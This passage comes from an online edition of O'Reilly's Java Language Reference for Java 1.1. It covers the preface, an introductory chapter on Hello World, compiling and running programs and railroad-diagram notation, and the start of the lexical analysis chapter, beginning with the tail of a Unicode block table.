\u0A80 - \u0AFF | Gujarati
\u0B00 - \u0B7F | Oriya
\u0B80 - \u0BFF | Tamil
\u0C00 - \u0C7F | Telugu
\u0C80 - \u0CFF | Kannada
\u0D00 - \u0D7F | Malayalam
\u0E00 - \u0E7F | Thai
\u0E80 - \u0EFF | Lao
\u0F00 - \u0FBF | Tibetan
\u10A0 - \u10FF | Georgian
\u1100 - \u11FF | Hangul Jamo
\u1E00 - \u1EFF | Latin extended additional
\u1F00 - \u1FFF | Greek extended
\u2000 - \u2FFF | Symbols and punctuation
\u2000 - \u206F | General punctuation
\u2070 - \u209F | Superscripts and subscripts
\u20A0 - \u20CF | Currency symbols
\u20D0 - \u20FF | Combining diacritical marks for symbols
\u2100 - \u214F | Letterlike symbols
\u2150 - \u218F | Number forms
\u2190 - \u21FF | Arrows
\u2200 - \u22FF | Mathematical operators
\u2300 - \u23FF | Miscellaneous technical
\u2400 - \u243F | Control pictures
\u2440 - \u245F | Optical character recognition
\u2460 - \u24FF | Enclosed alphanumerics
\u2500 - \u257F | Box drawing
\u2580 - \u259F | Block elements
\u25A0 - \u25FF | Geometric shapes
\u2600 - \u26FF | Miscellaneous symbols
\u2700 - \u27BF | Dingbats
\u3000 - \u33FF | CJK auxiliary
\u3000 - \u303F | CJK symbols and punctuation
\u3040 - \u309F | Hiragana
\u30A0 - \u30FF | Katakana
\u3100 - \u312F | Bopomofo
\u3130 - \u318F | Hangul compatibility Jamo
\u3190 - \u319F | Kanbun
\u3200 - \u32FF | Enclosed CJK letters and months
\u3300 - \u33FF | CJK compatibility
\u4E00 - \u9FFF | CJK unified ideographs: Han characters used in China, Japan, Korea, Taiwan, and Vietnam
\uAC00 - \uD7A3 | Hangul syllables
\uD800 - \uDFFF | Surrogates
\uD800 - \uDB7F | High surrogates
\uDB80 - \uDBFF | High private use surrogates
\uDC00 - \uDFFF | Low surrogates
\uE000 - \uF8FF | Private use
\uF900 - \uFFFF | Miscellaneous
\uF900 - \uFAFF | CJK compatibility ideographs
\uFB00 - \uFB4F | Alphabetic presentation forms
\uFB50 - \uFDFF | Arabic presentation forms-A
\uFE20 - \uFE2F | Combing half marks
\uFE30 - \uFE4F | CJK compatibility forms
\uFE50 - \uFE6F | Small form variants
\uFE70 - \uFEFE | Arabic presentation forms-B
\uFEFF | Specials
\uFF00 - \uFFEF | Halfwidth and fullwidth forms
\uFFF0 - \uFFFF | Specials

Previous | Home
Void | Book Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


Preface

Contents:
Audience
Using This Book
Related Books
Online Resources
Conventions Used in This Book
Request for Comments
Acknowledgments

This book is a reference manual for the Java programming language; it covers Version 1.1 of the Java language. It provides a complete description of all of the constructs in the language, so that programmers can write Java programs that function exactly as expected. This book is not meant to teach you the Java language, although you could probably use it for that purpose if you are already fluent in a number of other programming languages.

This is an exciting time in the development of Java. Version 1.1 is a huge new release that more than doubles the size of the core Java APIs. Fortunately, the Java language itself contains relatively few changes for Java 1.1. The new features of the language are significant, however, both in terms of the useful functionality and the elegance they add to the language. This book covers all of the new language constructs in Java 1.1. Here's a quick list of the new features:

  • Inner classes, which include nested top-level classes and interfaces, member classes, local classes, and anonymous classes

  • final local variables, method parameters, and catch clause parameters

  • Instance initializers

  • Blank finals, or final variable declarations that do not include initializers

  • Class literals for obtaining Class objects

  • Anonymous arrays, or arrays created and initialized without a variable initializer

Audience

This book is for serious Java programmers. If you are such a programmer, you often need to know precisely how the language works in particular situations. This reference manual provides that information in an easy-to-use form. So, for example, if you need to know exactly how Java selects the method to be invoked by a method call expression, you can find a detailed explanation in this book. Or, if you need to know precisely how the multiplication operator behaves with floating-point data, you can find the details here.

However, if you are actually implementing a Java compiler, this book is not meant for you. In some cases, we've simplified the grammar to make it easier for programmers to understand. These simplifications don't detract from the precision of the book; they simply omit details that aren't important unless you are developing a Java compiler. If you are implementing a compiler or other Java environment, you'll want to get The Java Language Specification written by James Gosling, Bill Joy, and Guy Steele, published by Addison-Wesley.

Home | Next
Book Index | Using This Book
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Using This Book

Java Language Reference

Previous Preface Next

Using This Book

This book is not meant to be read from cover to cover. Instead, it is meant to be used as a reference manual for the syntax and lexical structure of the Java language. The language is presented in a bottom-up order. The text starts with lexical analysis and works up through data types, expressions, declarations, statements, and overall program structure. The book also covers threads and exception handling in detail. The final chapter presents reference information on the classes in the java.lang package, since these classes are essential to the Java language.

When you need to know the details about a particular Java construct, you can find the appropriate section and read everything you need to know about that aspect of the language. For every construct, there is a railroad diagram that presents its syntax in an easy-to-understand, visual fashion. The text also provides many examples to illustrate subtle features of the language.

The book includes numerous cross-references to help you move quickly between related topics. A cross-reference shown in italic type specifies the location of a railroad diagram related to the current diagram, while cross-references in plain text specify other sections of the book.

The Java Language Reference is broken down into ten chapters and an appendix as follows:

Chapter 1

Introduction provides a quick introduction to the Java programming language by way of a "Hello World" example. The chapter also describes the notational conventions of the railroad diagrams that are used to define the syntax and lexical structure of the Java language.

Chapter 2

Lexical Analysis describes the process by which the Java compiler reads the characters in a Java source file and looks for sequences that form identifiers, keywords, literals, and operators.

Chapter 3

Data Types discusses all of the different data types provided by the Java language.

Chapter 4

Expressions presents the syntax of Java expressions and describes the function of each operator in the language.

Chapter 5

Declarations covers the syntax of class, interface, method, and variable declarations. The chapter also provides a detailed look at the object-oriented aspects of the Java language.

Chapter 6

Statements and Control Structures describes each of the available statements in Java.

Chapter 7

Program Structure presents the syntax of Java compilation units and also covers the two common types of Java programs: stand-alone applications and applets.

Chapter 8

Threads discusses how to create and control threads in a Java program, as well as how to synchronize multiple threads.

Chapter 9

Exception Handling describes how to generate, declare, and handle exceptions in Java. The chapter also covers the hierarchy of exception classes provided in the java.lang package.

Chapter 10

The java.lang Package provides reference information on each of the classes in java.lang.

Appendix

The Unicode 2.0 Character Set lists the character sets that comprise the Unicode standard.

Previous | Home | Next
Audience | Book Index | Related Books
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Related Books

Java Language Reference

Previous Preface Next

Related Books

O'Reilly & Associates is developing an entire series of books on Java. This series consists of introductory books, reference manuals, and advanced programming guides.

The following books on Java are currently available or due to be released soon from O'Reilly & Associates:

Exploring Java, by Patrick Niemeyer and Joshua Peck

A comprehensive tutorial that provides a practical, hands-on approach to learning Java.

Java AWT Reference, by John Zukowski

A comprehensive reference manual for the AWT-related packages in the core Java API.

Java Fundamental Classes Reference, by Mark Grand and Jonathan Knudsen

A complete reference manual for the java.lang, java.io, java.util, and java.net packages, among others, in the core Java API.

Java Virtual Machine, by Jon Meyer and Troy Downing

A programming guide and reference manual for the Java virtual machine.

Java in a Nutshell, by David Flanagan

A quick-reference guide to Java that lists all of the classes, methods, and variables in the core Java API.

Java Threads, by Scott Oaks and Henry Wong

An advanced programming guide to working with threads in Java.

Java Network Programming, by Elliotte Rusty Harold

A complete guide to writing sophisticated network applications.

Database Programming with JDBC and Java, by George Reese

An advanced tutorial on JDBC that presents a robust model for developing Java database programs.

Developing Java Beans, by Robert Englander

A complete guide to writing components that work with the JavaBeans API.

Look for additional advanced programming guides on such topics as distributed computing and electronic commerce from O'Reilly in the near future.

Previous | Home | Next
Using This Book | Book Index | Online Resources
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Online Resources

Java Language Reference

Previous Preface Next

Online Resources

There are many sources for information about Java. Sun Microsystems's official Web site for Java topics is http://www.javasoft.com/. You should look here for the latest news, updates, and Java releases. This site is where you'll find the Java Development Kit ( JDK), which includes the compiler, the interpreter, and other tools.

The various comp.lang.java.* newsgroups can be a good source of information about Java. The comp.lang.java.announce newsgroup is for announcements that may be of interest to Java developers. The comp.lang.java.programmer newsgroup is for discussion of the Java language; it's also a good place to ask intelligent questions. There are a number of other Java newsgroups for various kinds of specialized discussions. You should read the FAQ to find out more. The FAQ is maintained on the Web at http://sunsite.unc.edu/javafaq/javafaq.html.

You should also visit O'Reilly & Associates' Java site on the Web at http://www.ora.com/publishing/java . There you'll find information about other books in O'Reilly's Java series.

Previous | Home | Next
Related Books | Book Index | Conventions Used in This Book
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Conventions Used in This Book

Java Language Reference

Previous Preface Next

Conventions Used in This Book

Italic is used for:

  • The names of syntactic constructs and lexical structures in the Java language

  • New terms where they are defined

  • Pathnames, filenames, and program names

  • Internet addresses, such as domain names and URLs

Typewriter Font is used for:

  • Anything that might appear in a Java program, including keywords, operators, data types, constants, method names, variable names, class names, and interface names

  • Command lines and options that should be typed verbatim on the screen

  • Tags that might appear in an HTML document

Previous | Home | Next
Online Resources | Book Index | Request for Comments
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Request for Comments

Java Language Reference

Previous Preface Next

Request for Comments

We invite you to help us improve our books. If you have an idea that could make this a more useful language reference, or if you find a bug in an example or an error in the text, let us know by sending mail to bookquestions@ora.com.

Previous | Home | Next
Conventions Used in This Book | Book Index | Acknowledgments
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Preface] Acknowledgments

Java Language Reference

Previous Preface Next

Acknowledgments

I wish to acknowledge the patience of my wife, Ginni, and my daughters, Rachel, Shana, and Sossa, during the long hours I spent writing this book.

I also want to thank Mike Loukides and Andy Cohen for their valuable suggestions on the content of this book. I particularly want to thank Paula Ferguson, who spent many long hours above and beyond the call of duty poring over the details of this book to edit it into its final form.

Thanks also to the staff at O'Reilly & Associates. Nicole Gipson Arigo was the production editor and project manager. Kismet McDonough-Chan proofread the book. Ellie Fountain Maden and Sheryl Avruch performed quality control checks. Seth Maislin wrote the index. Erik Ray, Ellen Siever, and Lenny Muellner worked with the tools to create the book. Robert Romano fine-tuned the figures. Nancy Priest designed the interior book layout, and Edie Freedman designed the front cover.

Previous | Home | Next
Request for Comments | Book Index | Introduction
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] Introduction

Java Language Reference

Previous Chapter 1 Next

1. Introduction

Contents:
A "Hello World" Program
New Language Features in Java 1.1
Compiling a Java Source File
Running a Java Application
Notational Conventions

Java is a relatively new programming language. However, many of the features that make up the language are not new at all. Java's designers borrowed features from a variety of older languages, such as Smalltalk and Lisp, in order to achieve their design goals.

Java is designed to be both robust and secure, so that it can be used to write small, hosted programs, or applets, that can be run safely by hosting programs such as Web browsers and cellular phones. Java also needs to be portable, so that these programs can run on many different kinds of systems. What follows is a list of the important features that Java's designers included to create a robust, secure, and portable language.

  • Java is a simple language. It borrows most of its syntax from C/C++, so it is easy for C/C++ programmers to understand the syntax of Java code. But that is where the similarities end. Java does not support troublesome features from C/C++, so it is much simpler than either of those languages. In fact, if you examine the features of Java, you'll see that it has more in common with languages like Smalltalk and Lisp.

  • Java is a statically typed language, like C/C++. This means that the Java compiler can perform static type checking and enforce a number of usage rules.

  • Java is fully runtime-typed as well. The Java runtime system keeps track of all the objects in the system, which makes it possible to determine their types at runtime. For example, casts from one object type to another are verified at runtime. Runtime typing also makes it possible to use completely new, dynamically loaded objects with some amount of type safety.

  • Java is a late-binding language, like Smalltalk, which means that it binds method calls to their definitions at runtime. Runtime binding is essential for an object-oriented language, where a subclass can override methods in its superclass, and only the runtime system can determine which method should be invoked. However, Java also supports the performance benefits of early binding. When the compiler can determine that a method cannot be overridden by subclassing, the method definition is bound to the method call at compile-time.

  • Java takes care of memory management for applications, which is unlike C/C++, where the programmer is responsible for explicit memory management. Java supports the dynamic allocation of arrays and objects, and then takes care of reclaiming the storage for objects and arrays when it is safe to do so, using a technique called garbage collection. This eliminates one of the largest sources of bugs in C/C++ programs.

  • Java supports object references, which are like pointers in C/C++. However, Java does not allow any manipulation of references. For example, there is no way that a programmer can explicitly dereference a reference or use pointer arithmetic. Java implicitly handles dereferencing references, which means that they can be used to do most of the legitimate things that C/C++ pointers can do.

  • Java uses a single-inheritance class model, rather than the error-prone multiple-inheritance model used by C++. Instead, Java provides a feature called an interface (borrowed from Objective C) that specifies the behavior of an object without defining its implementation. Java supports multiple inheritance of interfaces, which provides many of the benefits of multiple inheritance, without the associated problems.

  • Java has support for multiple threads of execution built into the language, so there are mechanisms for thread synchronization and explicit waiting and signaling between threads.

  • Java has a powerful exception-handling mechanism, somewhat like that in newer implementations of C++. Exception handling provides a way to separate error-handling code from normal code, which leads to cleaner, more robust applications.

  • Java is both a compiled and an interpreted language. Java code is compiled to Java byte-codes, which are then executed by a Java runtime environment, called the Java virtual machine. The specifications of the Java language and the virtual machine are fully defined; there are no implementation-dependent details. This architecture makes Java an extremely portable language.

  • Java uses a three-layer security model to protect a system from untrusted Java code. The byte-code verifier reads byte-codes before they are run and makes sure that they obey the basic rules of the Java language. The class loader takes care of bringing compiled Java classes into the runtime interpreter. The security manager handles application-level security, by controlling whether or not a program can access resources like the filesystem, network ports, external processes, and the windowing system.

As you can see, Java has quite a list of interesting features. If you are a C/C++ programmer, many of the constructs of the Java language that are covered in this book should look familiar to you. Just be warned that you shouldn't take all of these constructs at face value, since many of them are different in Java than they are in C/C++.

1.1 A "Hello World" Program

Before diving into the various constructs provided by the Java language, you should have at least a general understanding of the Java programming environment. In the fine tradition of all language reference manuals, here is a short Java program that outputs "Hello world!" and then exits:

/*
 * Sample program to print "Hello World"
 */
class HelloWorld {             // Declare class HelloWorld
    public static void main(String argv[]) {
        System.out.println("Hello World!");
    }
}

This example begins with a comment that starts with /* and ends with */. This type of comment is called a C-style comment. The example also uses another kind of comment that begins with // and ends at the end of the line. This kind of comment is called a single-line comment; it is identical to that style of comment in C++. Java supports a third type of comment, called a documentation comment, that provides for the extraction of comment text into a machine-generated document.

Comments aside, the example consists of a single class declaration for the class called HelloWorld. If you are unfamiliar with classes, you can think of a class as a collection of variables and pieces of executable code called methods for the purposes of this discussion. In Java, most executable code is part of a method. Methods are identical to virtual member functions in C++, except that they can exist only as part of a class. Methods are also similar to functions, procedures, and subroutines in other programming languages.

The HelloWorld class contains a single method named main(). When you ask the Java interpreter to run a Java program, you tell it what code to run by giving it the name of a class. The Java interpreter then loads the class and searches it for a method named main() that has the same attributes and parameters as shown in the example. The interpreter then calls that main() method.

In the declaration of main(), the name main is preceded by the three keywords: public, static, and void. The public modifier makes the main() method accessible from any class. The static modifier, when applied to a method, means that the method can be called independently of an instance of a class. The void keyword means that the method returns no value. The main() method of an application should always be declared with these three keywords. Although the meanings of these keywords is similar to their meanings in C++, there are some differences in the meaning of the keyword static as used in Java and C++.

The main() method contains a single line of executable code that calls the println() method of the object System.out. Passing the argument "Hello World!" to the println() method results in "Hello World!" being output. System.out is an object that encapsulates an application's standard output. It is similar in purpose to stdout in C and cout in C++. Java also has System.in and System.err objects that are similar in purpose to stdin and stderr in C and cin and cerr in C++, respectively.

Previous | Home | Next
Acknowledgments | Book Index | New Language Features in Java 1.1
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.2 New Language Features in Java 1.1

Java Language Reference

Previous Chapter 1
Introduction 		Next

1.2 New Language Features in Java 1.1

Although Java 1.1 is a massive new release, there are relatively few changes to the Java language in this version. The new features of the language are quite significant, however, as they add useful functionality and make the Java language even more elegant. Here is a brief summary of the new features of the Java language in Java 1.1:

  • The addition of inner classes is the largest change to the Java language in Java 1.1. With this new feature, classes can be defined as members of other classes, just like variables and methods. Classes can also be defined within blocks of Java code, just like local variables. A class that is declared inside of another class may have access to the instance variables of the enclosing class; a class declared within a block may have access to the local variables and/or formal parameters of that block.

    Inner classes include: nested top-level classes and interfaces, member classes, local classes, and anonymous classes. The various types of inner clases are described in Inner Classes. The syntax for nested top-level and member classes is covered in Nested Top-Level and Member Classes, while the syntax for nested top-level interfaces is covered in Nested Top-Level Interfaces. The syntax for local classes is described in Local Classes. The syntax for an anonymous class is part of an allocation expression, as covered in Allocation Expressions.

  • Java 1.1 provides the ability to declare final local variables, method parameters, and catch clause parameters. final local variables, method parameters, and catch parameters are needed to allow local classes to access these entities within the scope of their blocks. The syntax for final local variables is described in Local Variables, while final method parameters are covered in Method formal parameters. The new syntax for the catch clause is described in The try Statement.

  • Instance initializers are blocks of code that execute when an instance of a class is created. Instance initializers have been added in Java 1.1 to allow anonymous classes to perform any necessary initialization, since anonymous classes can not define any constructors. The syntax for instance initializers is covered in Instance Initializers.

  • As of Java 1.1, final variable declarations do not have to include initializers. A final variable declaration that does not include an initializer is called a blank final. The functionality of blank finals is described in Variable modifiers and Final local variables.

  • A class literal is a new kind of primary expression that can be used to obtain a Class object for a particular data type. Class literals have been added to support the new Reflection API in Java 1.1. The syntax for class literals is covered in Class Literals.

  • An anonymous array is an array created and initialized without using a variable initializer. The syntax for an anonymous array is part of an allocation expression, as described in Allocation Expressions.

Previous | Home | Next
A "Hello World" Program | Book Index | Compiling a Java Source File
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.3 Compiling a Java Source File

Java Language Reference

Previous Chapter 1
Introduction 		Next

1.3 Compiling a Java Source File

The interface for the Java compiler in Sun's Java Development Kit (JDK) is the command line. To compile a Java program, run the program javac with the name of the source file specified as a command-line argument. For example, to compile the "Hello World" program, issue the following command:

C:\> javac HelloWorld.java

The Java compiler, javac, requires that the name of a Java source file end with a .java extension. If the source file contains a class or interface that is declared with the keyword public, the filename must be the name of that class or interface. There can be at most one such class or interface in a source file.

In an environment such as Windows 95 that does not distinguish between uppercase and lowercase letters in a filename, you still need to be sure that the case of the filename exactly matches the case used in the public class or interface declaration. If you use a filename with the incorrect case, the compiler will be able to compile the file but it will complain about an incorrect filename.

The compiler produces a compiled class file with the same name as the public class or interface declaration; the file extension used for a compiled Java file is .class.

If the javac compiler complains that it is unable to find some classes, it may mean that an environment variable named CLASSPATH has not been set properly. The exact setting needed for CLASSPATH varies depending on the operating system and its directory structure. However, the value of CLASSPATH always specifies a list of directories in which the compiler should search for Java classes.

Previous | Home | Next
New Language Features in Java 1.1 | Book Index | Running a Java Application
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.4 Running a Java Application

Java Language Reference

Previous Chapter 1
Introduction 		Next

1.4 Running a Java Application

To run a Java application, you invoke the Java interpreter, java, with one or more arguments. The first argument is always the name of a Java class. Here is how to run the "Hello World" application:

C:\> java HelloWorld

The capitalization of the class name must match the name used in the class declaration in the source file. The interpreter loads the specified class and then calls its main() method.

A class can belong to a particular package. This allows the class to prevent classes in other packages from accessing its declared variables and methods. If a class is not specified as part of a package, it automatically becomes part of the default package. Because the HelloWorld class is part of the default package, you do not need to include the package name as part of the class name on the command line. If the HelloWorld class were part of a package called student.language, however, you would have to include the package name on the command line. For example, you would run the application as follows:

C:\> java student.language.HelloWorld

Any additional arguments specified on the command line are passed to the main() method in its String[] parameter. For the "Hello World" application, the String[] parameter is an empty array. If, however, there were command-line arguments, the first array element, String[0], would correspond to the first command-line argument specified after the class name, String[1] would correspond to the next command-line element, and so on. The name of the class does not appear as an element in the array of parameters passed to the main() method. This is different than in C/C++, where the first element in the array of command-line arguments identifies the program name and the second element is the first command-line argument.

Previous | Home | Next
Compiling a Java Source File | Book Index | Notational Conventions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 1] 1.5 Notational Conventions

Java Language Reference

Previous Chapter 1
Introduction 		Next

1.5 Notational Conventions

One of the topics of this manual is the syntax of Java: the way that identifiers such as foobar, operators such as +, and punctuation such as ; can be put together to form a valid Java program. This book also talks about lexical structure : the sequences of characters that can be put together to form valid numbers, identifiers, operators, and the like.

To describe syntax and lexical structure, many language reference manuals use a notation called BNF. BNF notation is very helpful to language implementors because it defines language constructs in a way that can easily be turned into a working language parser. Unfortunately, however, BNF can be difficult for human beings to understand. This reference manual uses a different notation, called a railroad diagram, to describe syntax and lexical structure. Railroad diagrams are much easier for people to understand. A railroad diagram provides a visual means of specifying the sequence of words, symbols, and punctuation that can be used to write a syntactic construct or a lexical structure.

Here is a simple example:

[Graphic: Figure from the text]

The idea is to follow the lines from left to right. The sequence of words or symbols that you pass along the way is the sequence of words or symbols that the railroad diagram specifies. The primary rule when navigating railroad diagrams is that you can follow lines from left to right only, unless there is an arrow pointing to the left. In the above example, there are no arrows, so there is only one way to navigate through the diagram. Therefore, the above railroad diagram specifies exactly one sequence of words: ROW YOUR BOAT.

The next example provides you with a choice of sequences:

[Graphic: Figure from the text]

You can navigate the above diagram with one of three sequences:

  • ROW YOUR BOAT

  • ROW YOUR CANOE

  • ROW YOUR KAYAK

The following example contains an arrow:

[Graphic: Figure from the text]

In the above diagram, there is a left-pointing arrow on the line under the word ROW. That arrow means that the line can only be traversed from right to left. The line with the arrow provides a loop that allows the word ROW to be repeated one or more times, separated by commas. This allows a sequence like: ROW,ROW,ROW YOUR BOAT.

The railroad diagrams shown so far lack a feature that is typically needed to make them useful: a name. A name allows one railroad diagram to refer to another diagram. The following railroad diagram defines a construct named color :

[Graphic: Figure from the text]

To further illustrate this point, let's look at two more railroad diagrams. The first diagram defines a construct named size :

[Graphic: Figure from the text]

The second railroad diagram is similar to previous ones except that now it allows an optional color or size to precede BOAT, CANOE, or KAYAK. The diagram does this by referring to the names of the railroad diagrams that define these things:

[Graphic: Figure from the text]

In the diagrams in this book, the font for words such as ROW that are directly contained in railroad diagrams is different from the font used for words like color that are names of railroad diagrams. The preceding railroad diagram allows size and color to occur more than once. The next diagram limits size and color to at most one occurrence:

[Graphic: Figure from the text]

The lines that refer to the size and color diagrams both have semi-circles with the number one under them. The semi-circles represent bridges that collapse if crossed more than a certain number of times. The number under the semi-circle is the number of times a bridge can be crossed. Adding bridges that can be crossed only once creates a railroad diagram that permits no more than one occurrence of color and size.

The other new feature introduced in the above railroad diagram is a circle enclosing a number. These circles are connectors used when a diagram does not fit across a page. The numbered connector at the right end of one part of a railroad diagram attaches to a connector with a matching number at the left end of another part of the railroad diagram.

Previous | Home | Next
Running a Java Application | Book Index | Lexical Analysis
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] Lexical Analysis

Java Language Reference

Previous Chapter 2 Next

2. Lexical Analysis

Contents:
Pre-Processing
Tokenization

When the Java compiler compiles a program, the first thing it does is determine the structure of the program. The compiler reads the characters in the program source and then applies rules to recognize progressively larger chunks of the file, such as identifiers, expressions, statements, and classes. The process of discovering the organization of the program is divided into two components:

  • The lexical analyzer. This component looks for sequences of characters called tokens that form identifiers, literals, operators, and the like.

  • The parser. This component is responsible for discovering higher levels of organization in the sequences of tokens discovered by lexical analysis.

This chapter describes the rules governing the lexical analysis of Java programs. The rules governing the parsing of Java programs are described over the course of subsequent chapters.

The lexical analysis rules for Java can appear slightly ambiguous. Where ambiguity occurs, the rules for interpreting character sequences specify that conflicts are resolved in favor of the interpretation that matches the most characters. That's a bit confusing, so an example should help. Take the character sequence:

+++

The ambiguity is that the sequence could potentially be interpreted as either + followed by ++ or the other way around; both are valid tokens. But according to the lexical analysis rules that insist that tokenization favor the longest character match, Java interprets the character sequence as:

++ +

Because ++ is longer than +, Java first recognizes the token ++ and then the +.

These rules can produce undesired results when character sequences are not separated by white space. For example, the following sequence is ambiguous:

x++y

The programmer probably intended this sequence to mean "x + (+y)", but the lexical analyzer always produces the token sequence "x ++ y". This sequence is syntactically incorrect.

Java lexical analysis consists of two phases: pre-processing and tokenization. The pre-processing phase is discussed in the following section. The tokenization phase is responsible for recognizing the tokens in the pre-processed input and is discussed later in this chapter.

2.1 Pre-Processing

A Java program is a sequence of characters. These characters are represented using 16-bit numeric codes defined by the Unicode standard.[1] Unicode is a 16-bit character encoding standard that includes representations for all of the characters needed to write all major natural languages, as well as special symbols for mathematics. Unicode defines the codes 0 through 127 to be consistent with ASCII. Because of that consistency, Java programs can be written in ASCII without any need for programmers to be aware of Unicode.

[1] Unicode is defined by an organization called the Unicode Consortium. The defining document for Unicode is The Unicode Standard, Version 2.0 (published by Addison-Wesley, ISBN 0-201-48345-9). More recent information about Unicode is available at http://unicode.org/.

Java is based on Unicode to allow Java programs to be useful in as many parts of the world as possible. Internally, Java programs store characters as 16-bit Unicode characters. The benefits of using Unicode are currently difficult to realize, however, because most operating environments do not support Unicode. And those environments that do support Unicode generally do not include fonts that cover more than a small subset of the Unicode character set.

Since most operating environments do not support Unicode, Java uses a pre-processing phase to make sure that all of the characters of a program are in Unicode. This pre-processing comprises two steps:

  • Translate the program source into Unicode characters if it is in an encoding other than Unicode. Java defines escape sequences that allow all characters that can be represented in Unicode to be represented in other character encodings, such as ASCII or EBCDIC. The escape sequences are recognized by the compiler, even if the program is already represented in Unicode.

  • Divide the stream of Unicode characters into lines.

Conversion to Unicode

The first thing a Java compiler does is translate its input from the source character encoding (e.g., ASCII or EBCDIC) into Unicode. During the conversion process, Java translates escape sequences of the form \u followed by four hexadecimal digits into the Unicode characters indicated by the given hexadecimal values. These escape sequences let you represent Unicode characters in whatever character set you are using for your source code, even if it is not Unicode. For example, \u0000 is a way of representing the NUL character.

More formally, the compiler input is converted from a stream of EscapedSourceCharacters into a stream of Unicode characters. EscapedSourceCharacter is defined as:

[Graphic: Figure from the text]

HexDigit is either a Digit or one of the following letters: A, a, B, b, C, c, D, d, E, e, F, or f.

A Digit is one of the following characters: 0, 1, 2, 3, 4, 5, 6, 7, 8, or 9.

As you can see, the definition of EscapedSourceCharacter specifies that the `u' in the escape sequence can occur multiple times. Multiple occurrences have the same meaning as a single occurrence of `u'.

If the program source is already in Unicode, this conversion step is still performed in order to process these \u escapes.

The Java language specification recommends, but does not require, that the classes that come with Java use the \u xxxx escapes when called upon to display a character that would not otherwise be displayable.

Division of the Input Stream into Lines

The second step of pre-processing is responsible for recognizing sequences of characters that terminate lines. The character sequence that indicates the end of a line varies with the operating environment. By recognizing end-of-line character sequences during pre-processing, Java makes sure that subsequent compilation steps do not need to be concerned with multiple representations for the end of a line.

In this step, the lexical analyzer recognizes the combinations of carriage return (\u000D) and line feed (\u000A) characters that are in widespread use as end-of-line indicators:

[Graphic: Figure from the text]

As always, ambiguities in lexical rules are resolved by matching the longest possible sequence of characters. That means that the sequence of a carriage return character followed by a linefeed character is always recognized as a one-line terminator, never as two.

Previous | Home | Next
Notational Conventions | Book Index | Tokenization
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 2] 2.2 Tokenization

Java Language Reference

Previous Chapter 2
Lexical Analysis 		Next

2.2 Tokenization

The tokenization phase of lexical analysis in Java handles breaking down the lines of Unicode source code into comments, white space, and tokens. The rule that defines the overall lexical organization of Java programs is TokenStream:

[Graphic: Figure from the text]

References
Comments;
Identifiers;
Keywords;
Literals;
Operators;
Separators;
White Space

Identifiers

An identifier is generally used as the name for a thing in a program. A few identifiers are reserved by Java for special uses; these are called keywords.

From the viewpoint of lexical analysis, an identifier is a sequence of one or more Unicode characters. The first character must be a letter, underscore, or dollar sign. The other characters must be letters, numbers, underscores, or dollar signs. An identifier can't have the same Unicode character sequence as a keyword:

[Graphic: Figure from the text]

For example, foo21, _foo, and $foo are all valid identifiers; 3foo is not a valid identifier. There is no limit to the length of an identifier in Java. Although $ is a legal character in an identifier, you should avoid using it to eliminate confusion with compiler-generated identifiers.

A UnicodeDigit is a Unicode character that is classified as a digit by Character.isDigit().

A UnicodeLetter is a Unicode character code that is classified as a letter by Character.isLetter().

Two identifiers are the same if they have the same length and if corresponding characters in each identifier have the same Unicode character code. It is possible, however, to have identifiers that are distinct to a Java compiler, but not to the human eye. For example, the Java compiler recognizes lowercase Latin `a' (\u0061) and lowercase Cyrillic `a' (\u0430) as different characters, although they may well be visually indistinguishable.

References Character; Keywords

Keywords

Keywords are identifiers that have a special meaning to Java. Because of their special meanings, keywords are not available for use as names of things defined in programs. A Keyword is one of the following:

abstract | default | goto | null | synchronized
boolean | do | if | package | this
break | double | implements | private | throw
byte | else | import | protected | throws
case | extends | instanceof | public | transient
catch | false | int | return | true
char | final | interface | short | try
class | finally | long | static | void
const | float | native | super | volatile
continue | for | new | switch | while

The keywords const and goto are not currently used for any purpose in Java, although they may be assigned meaning in future versions of the Java language.

References Identifiers

Literals

A literal is a token that represents a constant value of a primitive data type or a String object:

[Graphic: Figure from the text]

References
Boolean literals;
Character literals;
Floating-point literals;
Integer literals;
String literals

Integer literals

An integer literal represents an integer constant:

[Graphic: Figure from the text]

NonZeroDigit is defined as one of the following characters: 1, 2, 3, 4, 5, 6, 7, 8, or 9.

OctalDigit is defined as one of the following characters: 0, 1, 2, 3, 4, 5, 6, or 7.

Integer literals that begin with a non-zero digit are in base 10 and are called decimal literals. Integer literals that begin with 0x are in base 16 and are called hexadecimal literals. Integer literals that begin with 0 followed by 0-7 are in base 8 and are called octal literals.

If an integer literal ends with L or l, its type is long; otherwise its type is int.

Integer literals cannot begin with a + or a -. If either of these characters precedes an integer literal, it is treated as a unary operator, a separate token in its own right.

Here are some examples of int literals:

0
92
0642
0xDeadBeef

Here are some examples of long literals:

0L
1414213562373l
0x2000000000L
075204l

Note that the preceding examples end with either an uppercase or lowercase "L". They do not end with the digit 1 (one).

Decimal literals of type int may not be greater than 2147483647, which represents 2^31-1. Decimal literals of type long may not be greater than 9223372036854775807L, which represents 2^63-1. Decimal literals cannot be used directly to represent negative values. To represent negative values using a decimal literal, you must use the decimal literal in conjunction with the unary minus operator. For example, representing -321 requires the use of a unary minus and a decimal literal. To represent the int -2147483648, use 0x80000000. To represent the long -9223372036854775808L, use 0x8000000000000000L.

Hexadecimal and octal literals may be positive or negative because they represent either a 32-bit (int) or 64-bit (long) two's-complement quantity. Two's complement is a binary encoding technique that represents both positive and negative values. The range of values that can be represented by int hexadecimal and octal literals is shown in Table 2-1.

